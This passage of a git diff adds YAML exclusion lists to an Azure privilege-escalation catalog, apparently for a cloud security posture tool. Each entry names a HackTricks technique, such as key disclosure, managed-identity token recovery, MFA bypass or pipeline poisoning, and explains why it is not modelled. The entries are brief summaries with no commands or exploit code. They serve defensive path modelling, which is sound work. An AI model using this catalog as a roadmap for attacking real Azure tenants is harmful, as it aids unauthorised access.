src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#aks-cluster-credentials + technique: Connected (Arc) and provisioned (AKS Arc) cluster user-credential actions + source_revision: a66f094ede + reason: The connected/provisioned listClusterUserCredential(s) actions return an Entra- or caller-token-bound kubeconfig whose authority is the caller's own Kubernetes + RBAC; no other principal's privileges. The provisioned admin credential is modelled by azure-hybrid-k8s-list-cluster-admin-credential. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + technique: ARO hosted control plane (hcpOpenShiftClusters) externalAuths/write attacker OIDC provider + source_revision: a66f094ede + reason: Preview surface; an attacker-controlled identity provider yields cluster privileges only when its mapped users/groups hold OpenShift RBAC, and neither the + external auth configuration nor the claim mapping is collected (same reasoning as the AKS external OIDC exclusion). +- source: src/pentesting-cloud/azure-security/az-persistence/az-kubernetes-persistence.md#trusted-access-role-binding--service-identity-access-through-the-aks-gateway-trustedaccessrolebindingswrite + technique: Trusted Access role binding — service identity access through the AKS gateway (`trustedAccessRoleBindings/write`) + source_revision: a66f094ede + reason: The binding grants a predefined Trusted Access role to another resource's system-assigned identity; the source gains cluster access only if it already controls + that resource's behaviour (page), and the Trusted Access role permissions are not collected. Persistence of an already-held foothold. +- source: src/pentesting-cloud/azure-security/az-persistence/az-spring-apps-persistence.md#spring-apps + technique: Attach an identity and grant it RBAC; keep the test endpoint and key + source_revision: a66f094ede + reason: Identity attachment plus roleAssignments/write is persistence of privileges the source already holds (role assignment write is modelled by the authorization + entries; identity attach by azure-springapps-app-write-user-assigned-identity). The test endpoint key gives unauthenticated app HTTP reach only (see the listTestKeys + exclusion). +- source: src/pentesting-cloud/azure-security/az-persistence/az-spring-apps-persistence.md#code-and-artifact-backdoors + technique: Config-server repo poisoning, custom builder / buildpack binding, Eureka service registry poisoning + source_revision: a66f094ede + reason: Configuration and discovery poisoning or build-time tampering of future builds; the result depends on application behaviour and later build activity, not + RBAC. The malicious deployment bullet is modelled by azure-springapps-deployment-write-app-identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g7-data-ai.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g7-data-ai.yaml new file mode 100644 index 0000000000..01f5991985 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g7-data-ai.yaml @@ -0,0 +1,122 @@ +# Azure privesc completeness audit (g7-data-ai): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#attached-compute-credential-theft-with-computeslistkeysaction + technique: computes/listKeys on attached compute + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#ml-attached-compute-listkeys (needs a link from an ML attached compute''s resourceId to the AKS cluster-admin / VM + / Databricks target).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#notebook-credential-theft-with-read-only-verbs-listnotebookkeys--listnotebookaccesstoken + technique: listNotebookKeys / listNotebookAccessToken + source_revision: a66f094ede + reason: Notebook file-store access (data); secrets embedded in notebooks are content-dependent. Planting a poisoned notebook needs another user to open and run + it (victim interaction, not derivable from configuration). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspaceslistkeysaction-and-microsoftmachinelearningservicesworkspacesliststorageaccountkeysaction + technique: Workspace listKeys / listStorageAccountKeys + source_revision: a66f094ede + reason: Covered by azure-ml-workspace-linked-keys-workload-poisoning (both actions as any_of alternatives); direct key use is data access only. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspaceshubswrite-microsoftmachinelearningservicesworkspaceswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to AI Hub / workspace + source_revision: a66f094ede + reason: Covered by azure-ml-workspace-uami-attach-serverless-job (attach + serverless job). Options 1-3 are covered by azure-ml-online-endpoint-create-with-user-assigned-identity, + azure-ml-jobs-write-compute-identity and azure-ml-compute-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftsearchsearchserviceslistadminkeysaction--microsoftsearchsearchservicesregenerateadminkeyaction + technique: AI Search admin keys + source_revision: a66f094ede + reason: Identity path covered by azure-ai-search-skillset-write-identity-token (listAdminKeys / regenerateAdminKey any_of alternatives); document dump/poisoning + is data access. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#self-hosted-ir-key-rotation-connection-recon-and-cross-factory-sharing + technique: SHIR regenerateauthkey / getconnectioninfo / linkedIntegrationRuntime + source_revision: a66f094ede + reason: regenerateauthkey is covered by azure-datafactory-rogue-shir-linked-service-credentials (any_of alternative). getconnectioninfo is reconnaissance only; + linkedIntegrationRuntime shares the runtime's network position into another factory, where activities use that factory's own credentials (no identity gain). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#pivot-through-blob-backed-pipeline-configuration-without-data-factory-permissions + technique: Poison blob-backed pipeline configuration + source_revision: a66f094ede + reason: Covered by azure-storage-blob-poisoning-consumer (azure_consumer_of_pivot storage_content reaches the factory identity reading the blob); linked-service + credentials used by the run are not an identity edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#os-level-rce-on-external-compute-batch--databricks--hdinsight-via-a-pipeline-activity + technique: Pipeline Custom Activity / Databricks / HDInsight activity code execution on linked compute + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#data-factory-linked-compute (needs a link from the factory''s linked services to the Batch pool / HDInsight cluster + identities they reach).' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#cluster-init-scripts--notebook-code--rce--steal-the-cluster--workspace-managed-identity + technique: Databricks cluster init script / notebook RCE as the cluster or workspace managed identity + source_revision: a66f094ede + reason: 'NEEDS SCHEMA: G7-data-ai-proposals.md#databricks-workspace-compute-identity (workspace admin or cluster code execution reaches the dbmanagedidentity user-assigned + identity in the workspace managed resource group and identities exposed through the workspace access connector; no selector links a workspace to them). ARM entry + point: azure-databricks-assign-workspace-admin.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#secret-scope-theft--databricks-backed-and-key-vault-backed-scopes + technique: Databricks secret scope theft + source_revision: a66f094ede + reason: Secret scope contents and ACLs are Databricks data-plane state that is not collected, so which service-principal secrets a scope holds is not derivable; + workspace admin is already modelled by azure-databricks-assign-workspace-admin. Revisit with G7-data-ai-proposals.md#databricks-workspace-compute-identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-databricks-persistence.md#personal-access-token-pat-minting-for-persistence + technique: Databricks PAT minting + source_revision: a66f094ede + reason: Persistence of already-held workspace access; no new identity. +- source: src/pentesting-cloud/azure-security/az-persistence/az-data-factory-persistence.md#redirect-a-schedule-trigger-with-triggerswrite--stopstart + technique: Data Factory trigger redirect + source_revision: a66f094ede + reason: Duplicate of azure-datafactory-parameter-redirection (its any_of includes triggers/write + stop + start). +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#over-privileged-scanning-identity-retained + technique: Retain Purview scanning identity / SHIR + source_revision: a66f094ede + reason: Confused-deputy data reads through the Purview identity; no token is disclosed. The credential-capture angle is azure-purview-rogue-shir-scan-credentials. +- source: src/pentesting-cloud/azure-security/az-persistence/az-purview-persistence.md#collection-role-foothold + technique: Purview collection-role foothold + source_revision: a66f094ede + reason: Persistence of already-held Purview data-plane roles; bootstrap is azure-purview-add-root-collection-admin. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-purview-post-exploitation.md#abuse-the-scanning-identity + technique: Abuse the Purview scanning identity + source_revision: a66f094ede + reason: Confused-deputy data reads through scans; no token for the Purview identity is disclosed. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#service-principal-persistence-as-a-workspace-admin + technique: Fabric SP persistence + source_revision: a66f094ede + reason: Persistence of already-held workspace Admin rights. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#git-integration--deployment-pipeline-supply-chain-poisoning + technique: Fabric Git / deployment pipeline poisoning + source_revision: a66f094ede + reason: The Contributor path is duplicate of azure-fabric-notebook-workspace-identity; the repo-write path needs Git provider permissions that are not collected. +- source: src/pentesting-cloud/azure-security/az-persistence/az-fabric-persistence.md#custom-environment--library-persistence-databricks-init-script-analog + technique: Fabric custom environment library persistence + source_revision: a66f094ede + reason: Duplicate of azure-fabric-notebook-workspace-identity (same Contributor requirement and workspace identity target); runs inside other users' interactive + sessions are not derivable. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-healthcare-apis-post-exploitation.md#self-grant-fhirdicom-data-roles-privesc + technique: Self-grant FHIR/DICOM data roles + source_revision: a66f094ede + reason: Duplicate of azure-authorization-roleassignments-write; the gain is FHIR/DICOM data access. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#recover-managed-identity-tokens-from-an-azure-endpoint + technique: Endpoint IMDS token recovery + source_revision: a66f094ede + reason: Needs prior code execution as the endpoint identity; the ARM paths to it are azure-ml-online-deployment-existing-endpoint and azure-ml-online-endpoint-create-with-user-assigned-identity. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#poison-a-reused-hugging-face-model-namespace + technique: Hugging Face namespace reuse + source_revision: a66f094ede + reason: Deploying the model already gives code execution through azure-ml-online-deployment-existing-endpoint; the namespace takeover only affects victims who deploy + by name, which is not derivable. +- source: src/pentesting-cloud/azure-security/az-persistence/az-ai-foundry-persistence.md#microsoftcognitiveservicesaccountsaiservicesagentswrite--foundry-agent-poisoning + technique: Foundry agent poisoning + source_revision: a66f094ede + reason: Victim-dependent instruction hijack of agent callers; no identity token is disclosed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-explorer-post-exploitation.md#sandboxed-python--r-plugin--code-execution-on-the-cluster + technique: ADX python()/R plugin + source_revision: a66f094ede + reason: Sandboxed execution with no cluster identity token; reaching one needs a sandbox escape (vulnerability). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md#microsoftdbformysqlflexibleserversread-microsoftdbformysqlflexibleserverswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to MySQL server + source_revision: a66f094ede + reason: The server uses the identity only for Entra admin lookup and service-side calls; no token is exposed to the source (confused deputy). Entra-admin abuse + is azure-mysql-flexible-entra-admin-write. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#microsoftdbforpostgresqlflexibleserversread-microsoftdbforpostgresqlflexibleserverswrite--microsoftmanagedidentityuserassignedidentitiesassignaction + technique: Attach UAMI to PostgreSQL server + source_revision: a66f094ede + reason: Confused-deputy service-side use of the identity (azure_storage extension reads); no token is exposed to the source. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md#use-azure_storage-extension-to-access-storage-accounts + technique: azure_storage extension storage reads + source_revision: a66f094ede + reason: Confused-deputy data reads through the server identity; no token is exposed. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-data-factory-post-exploitation.md#previewexfil-source-data-through-a-data-flow-debug-session + technique: Data flow debug preview + source_revision: a66f094ede + reason: Confused-deputy data reads through linked services; no identity token is exposed (the token-yielding sandbox run is azure-datafactory-debug-sandbox-run). diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g8-storage-msg.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g8-storage-msg.yaml new file mode 100644 index 0000000000..d1beba6936 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_audit_g8-storage-msg.yaml @@ -0,0 +1,71 @@ +# Azure privesc completeness audit (g8-storage-msg): techniques reviewed and intentionally NOT modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#authorization-rule-key-disclosure-and-rotation + technique: Service Bus namespace authorization-rule keys + source_revision: a66f094ede + reason: Key disclosure is data access; its message-injection use is the namespace listKeys / regenerateKeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationruleslistkeysaction + technique: Service Bus Geo-DR alias keys + source_revision: a66f094ede + reason: Key disclosure is data access; its message-injection use is the disasterRecoveryConfigs listkeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesauthorizationruleswrite + technique: Service Bus namespace SAS rule creation + source_revision: a66f094ede + reason: Self-minted SAS credential is persistence/data access; using it to inject needs the key read back, which is the listKeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Service Bus entity authorization-rule keys + source_revision: a66f094ede + reason: Key disclosure is data access; its message-injection use is the queues/topics listKeys / regenerateKeys alternative of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleswrite + technique: Service Bus entity SAS rule creation + source_revision: a66f094ede + reason: Self-minted entity SAS credential is persistence/data access; injection needs the key read back, covered by the entity listKeys alternatives of azure-servicebus-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#send-messages-with-keys-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Send messages with authorization-rule keys + source_revision: a66f094ede + reason: Duplicate of azure-servicebus-message-injection-consumer, whose any_of holds every listKeys / regenerateKeys variant. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#namespace-event-injection-with-only-eventssendaction + technique: Event Grid namespace event injection + source_revision: a66f094ede + reason: Duplicate of azure-eventgrid-event-injection-consumer (events/send/action alternative). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-grid-privesc.md#mqtt-topic-space-publication-and-subscription + technique: Event Grid MQTT publish/subscribe + source_revision: a66f094ede + reason: Publish reaching routed handlers is the topicSpaces/publish alternative of azure-eventgrid-event-injection-consumer; subscribe is message data read with + no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#microsoftsignalrservicewebpubsubhubswrite---redirect-future-user-events + technique: Web PubSub event-handler redirect + source_revision: a66f094ede + reason: Event exfiltration is data access; when the handler uses managed-identity auth, the token capture is the WebPubSub/hubs/write alternative of azure-signalr-upstream-managed-identity-token. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistkeysaction + technique: Storage account keys + source_revision: a66f094ede + reason: Data access; consumer-poisoning use is the listKeys alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. Function + App content storage is modelled in functions.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsregeneratekeyaction + technique: Storage account key rotation + source_revision: a66f094ede + reason: Data access/DoS; consumer-poisoning use is the regenerateKey alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistaccountsasaction + technique: Storage account SAS + source_revision: a66f094ede + reason: Data access; consumer-poisoning use is the listAccountSas alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistservicesasaction + technique: Storage service SAS + source_revision: a66f094ede + reason: Data access; consumer-poisoning use is the listServiceSas alternative of azure-storage-blob-poisoning-consumer and azure-queue-message-injection-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocaluserswrite-microsoftstoragestorageaccountslocalusersread + technique: Storage SFTP local user creation + source_revision: a66f094ede + reason: Data access/persistence; blob-poisoning use is the localUsers/write alternative of azure-storage-blob-poisoning-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslocalusersregeneratepasswordaction + technique: Storage SFTP local user password reset + source_revision: a66f094ede + reason: Data access; blob-poisoning use is the localUsers/regeneratePassword alternative of azure-storage-blob-poisoning-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoreslistkeysaction + technique: App Configuration access keys + source_revision: a66f094ede + reason: Configuration data read; Key Vault references resolve only with the consumer identity. Poisoning use is the ListKeys alternative of azure-appconfig-keyvalue-poisoning-consumer. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md#microsoftappconfigurationconfigurationstoresregeneratekeyaction + technique: App Configuration key rotation + source_revision: a66f094ede + reason: Store data-plane access only; poisoning use is the RegenerateKey alternative of azure-appconfig-keyvalue-poisoning-consumer. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_challenge_crossprovider.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_challenge_crossprovider.yaml new file mode 100644 index 0000000000..b53d9f049e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_challenge_crossprovider.yaml @@ -0,0 +1,18 @@ +# Mixed-provider rows in the Azure challenge. These are real conditional pivots, +# but cannot be represented in the four-provider catalog without changing the +# PEASO sync/export scripts outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-apps.md#rce--encrypted-env-vars + technique: Use App Platform console access to extract credentials from decrypted runtime environment + reason: DigitalOcean is not a supported PEASO privesc provider. The console exposes values, but the app spec does not identify a usable target credential; an exact app/component, runtime secret and principal join needs a DigitalOcean collector and provider model. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-functions.md#triggers + technique: Export function environment variables to recover a stored credential + reason: DigitalOcean is not a supported PEASO privesc provider. A function variable name is not proof of a credential or target principal; namespace/function metadata and credential validation require a DigitalOcean collector and provider model. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/digital-ocean-pentesting/do-services/do-kubernetes-doks.md#connection + technique: Download a DOKS cluster kubeconfig through DigitalOcean access + reason: DigitalOcean is not a supported PEASO privesc provider. Retrieval yields a kubeconfig, but its actual subject, expiry and effective Kubernetes RBAC must be established before a bounded edge. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/ibm-cloud-pentesting/README.md#ssrf + technique: Use workload SSRF to exchange IBM VPC metadata instance identity for a trusted-profile IAM token + reason: IBM Cloud is not a supported PEASO privesc provider. Metadata enablement alone proves neither a reachable SSRF nor a trusted-profile link; exact VSI, verified SSRF and matching profile facts are required. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. +- source: src/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md#trusted-profiles + technique: Apply an authorized IBM Cloud trusted profile + reason: IBM Cloud is not a supported PEASO privesc provider. Applying a profile requires an exact matching link or federation rule, current claims and a successful token exchange; a profile's existence alone proves no edge. The PEASO sync/export provider allowlists are outside this task's exclusive edit paths. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_entraid.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_entraid.yaml new file mode 100644 index 0000000000..4d2c3f0925 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_entraid.yaml @@ -0,0 +1,158 @@ +# Entra ID HackTricks techniques reviewed and intentionally NOT modelled as +# principal -> principal privilege-escalation edges. Source rev a53b46392c. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#pim-application-permissions + technique: PrivilegedAccess.ReadWrite.AzureAD / PrivilegedAccess.ReadWrite.AzureResources + reason: Legacy PIM (iteration 2) permissions on retired APIs; current directory-role PIM schedule APIs require RoleManagement.ReadWrite.Directory, modelled in azure-entraid-graph-rolemanagement-readwrite-directory. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: AuditLog.Read.All / RoleManagement.Read.Directory + reason: Read-only enumeration of sign-in/audit data and role assignments; no privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + technique: User.ReadWrite.All (password reset) + reason: Does not grant password reset or role assignment (HackTricks and Graph docs agree); its attribute-write ability is modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsallpropertiesupdate + technique: applications/allProperties/update - redirect URI / requested-permission changes + reason: Token interception via added redirect URI requires victim interaction and an exploitable auth flow (code redemption needs client secret/PKCE); requested permissions still need fresh consent. The credential-update part of allProperties/update is modelled in azure-entraid-app-credentials-update. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#entra-id-applications-admin + technique: Application admin / owner adds redirect URIs or requested permissions + reason: Same as above - phishing/consent dependent, no deterministic principal edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#applications-privilege-escalation + technique: Applications Privilege Escalation (enumeration of app API permissions) + reason: Explanatory/enumeration section; the underlying credential-injection edge is modelled by the application/service-principal credential entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalssynchronizationcredentialsmanage + technique: servicePrincipals/synchronizationCredentials/manage + reason: Manages provisioning-connector credentials, not the service principal's own sign-in credentials; impact depends on the external connector target and yields no Entra principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsdisable-and-enable + technique: servicePrincipals/disable and enable + reason: Availability/DoS or re-enabling a principal whose credentials are already controlled; grants no new identity by itself. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryserviceprincipalsgetpasswordsinglesignoncredentials--microsoftdirectoryserviceprincipalsmanagepasswordsinglesignoncredentials + technique: servicePrincipals get/managePasswordSingleSignOnCredentials + reason: Reads/sets credentials for third-party password-SSO applications; access is to external apps, not to an Entra or Azure principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicesregisteredownersupdate + technique: devices/registeredOwners/update and devices/registeredUsers/update + reason: Directory metadata only; does not grant device or identity access by itself (HackTricks notes this). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorybitlockerkeyskeyread + technique: bitlockerKeys/key/read + reason: Data access (volume unlock); no identity gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#policyreadall--policyreadwriteconditionalaccess + technique: Policy.Read.All + Policy.ReadWrite.ConditionalAccess + reason: Weakens or disables Conditional Access (defense evasion); grants no principal's privileges. Belongs to Least Privilege / Exposure. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#conditional-access-policies-bypasses + technique: Conditional Access condition bypasses (device platform/user-agent, locations, client apps, cloud apps) + reason: Authentication-control bypass for an already-compromised credential; no new principal privileges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#other-az-mfa-bypasses + technique: Phone-call MFA voicemail (ring tone) and compliant-device / PRT MFA bypasses + reason: MFA bypass for existing credentials, configuration-dependent and partly legacy; not a permission-based escalation edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md#tooling + technique: AzureAppsSweep / roadrecon / MFASweep / ROPCI / donkeytoken + reason: Tooling for CA/MFA gap testing; no privilege edge. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#dynamic-groups-enumeration + technique: Dynamic group enumeration + reason: Enumeration only; escalation is modelled in entraid_groups.yaml. +- source: src/pentesting-cloud/azure-security/az-basic-information/README.md#global-administrator + technique: Global Administrator elevates to User Access Administrator at root scope + reason: Already modelled as azure-authorization-elevateaccess-global-admin in catalog/azure/authorization.yaml; not duplicated. +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#oauth-application + technique: Register an app and request high-impact application permissions with admin consent + reason: Requires an administrator who can already grant those permissions (covered by role/Graph entries); otherwise persistence/phishing only. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#app-consent-permissions + technique: Admin consent by Application / Cloud Application Administrator (servicePrincipals/managePermissionGrantsForAll.microsoft-application-admin, servicePrincipals/appRoleAssignedTo/update) + reason: 'NEEDS SCHEMA: app-role consent can grant a named service principal additional API permissions, including non-Graph app roles; require exact source application, app role, target API, successful grant, and effective before/after authority. Credential-injection edges are separately modelled.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#2-types-of-attacks + technique: Consent phishing + reason: Initial access via user consent; no in-tenant permission edge. +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#federation---token-signing-certificate + technique: AD FS token-signing certificate replacement + reason: Requires on-premises Domain Admin / AD FS server control; on-prem to cloud pivot outside the Entra snapshot. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md#scoping-and-risks-of-fic-subject-types + technique: Over-broad federated identity credential subjects (GitHub OIDC) + reason: The source is an external CI identity, not a tenant principal; FIC creation by tenant principals is covered by the credential-update entries. + +# Added at hacktricks-cloud rev 171e422 (Entra ID / PIM / Governance / Intune refresh). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#entra-id-azuread--azure-iam + technique: Entra ID privesc page introduction + source_revision: 171e422 + reason: Introductory text; techniques are mapped heading by heading. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + technique: Synchronization.ReadWrite.All provisioning / sync tampering + source_revision: 171e422 + reason: Graph documents it as configuring the synchronization service; outcomes depend on connected-system and attribute-mapping configuration that is not collected. GroupMember/Directory.ReadWrite.All are in azure-entraid-graph-group-readwrite-all, Domain.ReadWrite.All in azure-entraid-domain-federation-backdoor and PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup in azure-entraid-graph-pim-groups-eligibility. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#other-high-impact-microsoft-graph-permissions-directoryreadwriteall-groupmemberreadwriteall-synchronizationreadwriteall-privilegedeligibilityschedulereadwriteazureadgroup + technique: RoleManagementPolicy.ReadWrite.Directory/AzureADGroup and Policy.ReadWrite.AuthenticationMethod/AuthenticationFlows + source_revision: 171e422 + reason: Enablers that weaken PIM activation or authentication-method policy; they grant no principal by themselves and only lift the pim_approval_required_by_other_principal blocker or MFA conditions of other entries. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryapplicationsmyorganizationcredentialsupdate + technique: applications.myOrganization/credentials/update + source_revision: 171e422 + reason: Modelled in azure-entraid-app-myorg-credentials-update (single-tenant applications). +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorygroupsallpropertiesupdate + technique: groups/allProperties/update + source_revision: 171e422 + reason: Membership write is modelled in azure-entraid-group-members-update and membership-rule write in azure-entraid-group-dynamic-rule-update. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#dynamic-groups-privesc + technique: Dynamic groups privesc (reference) + source_revision: 171e422 + reason: Pointer to dynamic-groups.md; modelled in azure-entraid-dynamic-group-attribute-control, azure-entraid-dynamic-group-guest-invite and azure-entraid-group-dynamic-rule-update. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectoryusersbasicupdate + technique: users/basic/update attribute control for dynamic membership + source_revision: 171e422 + reason: Modelled in azure-entraid-dynamic-group-attribute-control. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#conditional-access-policies--mfa-bypass + technique: Conditional Access / MFA bypass (reference) + source_revision: 171e422 + reason: Pointer to az-conditional-access-policies-mfa-bypass.md; bypasses are access techniques, not privilege gain. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#microsoftdirectorydevicesregisteredusersupdate + technique: devices/registeredUsers/update + source_revision: 171e422 + reason: 'Same as devices/registeredOwners: device registration links do not grant the device identity or its local admin rights; no principal edge.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#administrative-unit-scoped-role-assignment-stealth-privilege-source + technique: AU-scoped role assignment + source_revision: 171e422 + reason: Creating the assignment needs role-assignment management (azure-entraid-role-assignment-manage / azure-entraid-graph-rolemanagement-readwrite-directory); 